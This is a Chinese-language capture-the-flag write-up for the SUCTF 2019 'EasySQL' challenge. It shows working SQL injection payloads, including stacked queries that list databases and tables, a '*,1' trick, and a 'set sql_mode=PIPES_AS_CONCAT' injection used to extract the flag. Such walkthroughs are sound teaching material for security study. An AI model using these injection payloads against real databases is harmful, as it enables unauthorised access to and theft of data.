[SUCTF 2019]EasySQL
1、sql注入的题目,看看是什么注入

2、先进行字符型SQL注入
1'

发现注入不成功,不是字符型SQL注入
3、尝试数字型SQL注入
1

确认是数字型SQL注入
4、查看所有数据库,堆叠查询
1;show databases;

没有发现flag
5、查看所有表,堆叠查询
1;show tables;

找到Flag表
但是怎么把Flag表中列的内容输出出来是一个问题
6、解答
方法一
select $_GET['query'] || flag from Flag
这是后端语句
当我们输入 *,1,传入后端的语句为
select *,1 || flag from Flag
代码解释:
select * //选择所有列
1 || flag from Flag //SQL中的字符串操作,将数字1转换成字符串“1”,再将字符串1和flag列的内容进行连接,我们会看到除去原来的列,外加一列是1ctf{.....}
flag from Flag //从Flag中拿出flag的内容
总结:查看Flag表中的所有列内容,从表中找到flag和1连接在一起,形成一个新列,而这个新列的列名叫1,由于flag被过滤,所以我们看不到flag的值,但是由于flag的值已经被复制到新的列1,所以得到flag
*,1

方法二
题目内置的是逻辑或者运算符,直接把它改成字符串连接就好了
使用set方法定义sql_mode参数设置,PIPES_AS_CONCAT字符串连接符select 1 查询第一列
1;set sql_mode=PIPES_AS_CONCAT;select 1 //堆叠查询
代码解释:
set sql_mode=PIPES_AS_CONCAT //在MySQL语句中,sql_mode的默认设置通常不包括PIPES_AS_CONCAT,此时,||被视为逻辑或OR(判断,判断其中一个为真,就是真),'a' || 'b'->0,报错,但是修改后,||被视为连接符,'a' || 'b'-> 'ab',后面直接注入select 1 || flag from Flag,flag就出来了
select 1 //直接返回flag值
//PIPES_AS_CONCAT 管道符 || 当作字符串拼接符

flag{c5c621e2-ee78-4e26-a6a4-ffd5e795fc40}










